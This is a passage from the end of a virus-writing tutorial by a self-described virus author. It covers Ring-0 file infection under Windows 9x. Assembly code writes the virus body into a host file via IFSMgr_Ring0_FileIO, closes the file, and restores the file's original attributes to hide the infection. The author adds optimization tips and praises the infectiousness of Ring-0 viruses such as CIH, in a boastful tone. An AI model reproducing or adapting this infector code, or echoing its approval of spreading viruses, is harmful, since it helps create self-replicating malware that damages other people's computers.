edx,R0_WRITEFILE ; EDX = D601h xchg eax,edx ; EAX = D601; EDX = File size lea esi,[ebp+virus_start] ; What to write mov ecx,virus_size ; How much bytez to write VxDCall IFSMgr_Ring0_FileIO Well, only some things left to do. Just close the file and restore its old attributes. Well, of course the close file function is in our beloved IFSMgr_Ring0_FileIO, now function D700h. Let's see its input parameters: EAX = R0_CLOSEFILE = 0D700h EBX = File Handle And now its code: muthafucka: mov eax,R0_CLOSEFILE VxDCall IFSMgr_Ring0_FileIO Well, only one thing left to do (kewl!). Restore the old attributes. stillnotsofunny: pop ecx ; Restore old attributos pop esi ; Restore ptr to FileName mov eax,4301h ; Set attributes function VxDCall IFSMgr_Ring0_FileIO notsofunny: ret And that's all! :) By the way, all those "VxDCall IFSMgr_Ring0_FileIO" is better to have in a subroutine, and call it with a simple call: it's more optimized (if you use the VxDCall macro i showed to you), and it much better because with only place an offset in VxDFix's table the job is done. % Last words % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ I must thank the 3 most important people that helped me while coding my first Ring-0 stuff: Super, Vecna and nIgr0 (you are the g0dz!). Well, is there something else to say? Ehrrm... yeah. Ring-0 is our sweet dream under Win9X, yes. But is has a limited life. Doesn't matter if we, the VXers, find a way for get Ring-0 privilege in systems such as NT, or the future Win2000 (NT5). Micro$oft will make a patch or a Service Pack for fix all those possible bugs. Anyway, it's very interesting to code a Ring-0 virus. For me the experience has been funny, and helped me to know more about Windoze internal structure. I hope it will help to you too. Note that Ring-0 viruses such as the virus very commented i presented here (my Garaipena with little changes) are very infectious. System tries to open files almost for bull- shits. Well, just see that one of the most infectious, fast and spread virus nowadays is a Ring-0 virus, CIH. Billy Belceb£, mass killer and ass kicker.